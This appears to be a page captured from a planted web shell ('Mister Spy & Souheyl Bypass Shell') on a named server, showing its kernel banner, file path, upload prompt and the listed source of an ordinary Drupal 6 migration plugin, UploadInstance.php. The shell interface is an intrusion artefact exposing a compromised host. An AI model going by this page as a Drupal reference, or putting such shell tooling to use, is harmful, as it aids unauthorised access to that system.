Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/testsite/web/core/modules/file/src/Plugin/migrate/source/d6/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/testsite/web/core/modules/file/src/Plugin/migrate/source/d6/UploadInstance.php

<?php

namespace Drupal\file\Plugin\migrate\source\d6;

use Drupal\migrate_drupal\Plugin\migrate\source\DrupalSqlBase;
use Drupal\migrate\Plugin\migrate\source\DummyQueryTrait;

/**
 * Drupal 6 upload instance source from database.
 *
 * @MigrateSource(
 *   id = "d6_upload_instance",
 *   source_module = "upload"
 * )
 */
class UploadInstance extends DrupalSqlBase {

  use DummyQueryTrait;

  /**
   * {@inheritdoc}
   */
  protected function initializeIterator() {
    $node_types = $this->select('node_type', 'nt')
      ->fields('nt', ['type'])
      ->execute()
      ->fetchCol();
    $variables = array_map(function ($type) {
      return 'upload_' . $type;
    }, $node_types);

    $max_filesize = $this->variableGet('upload_uploadsize_default', 1);
    $max_filesize = $max_filesize ? $max_filesize . 'MB' : '';
    $file_extensions = $this->variableGet('upload_extensions_default', 'jpg jpeg gif png txt doc xls pdf ppt pps odt ods odp');
    $return = [];
    $values = $this->select('variable', 'v')
      ->fields('v', ['name', 'value'])
      ->condition('v.name', $variables, 'IN')
      ->execute()
      ->fetchAllKeyed();
    foreach ($node_types as $node_type) {
      $name = 'upload_' . $node_type;
      // By default, file attachments in D6 are enabled unless upload_<type> is
      // false, so include types where the upload-variable is not set.
      $enabled = !isset($values[$name]) || unserialize($values[$name]);
      if ($enabled) {
        $return[$node_type]['node_type'] = $node_type;
        $return[$node_type]['max_filesize'] = $max_filesize;
        $return[$node_type]['file_extensions'] = $file_extensions;
      }
    }

    return new \ArrayIterator($return);
  }

  /**
   * {@inheritdoc}
   */
  public function getIds() {
    return [
      'node_type' => [
        'type' => 'string',
      ],
    ];
  }

  /**
   * {@inheritdoc}
   */
  public function fields() {
    return [
      'node_type' => $this->t('Node type'),
      'max_filesize' => $this->t('Max filesize'),
      'file_extensions' => $this->t('File extensions'),
    ];
  }

  /**
   * {@inheritdoc}
   */
  public function count($refresh = FALSE) {
    return count($this->initializeIterator());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net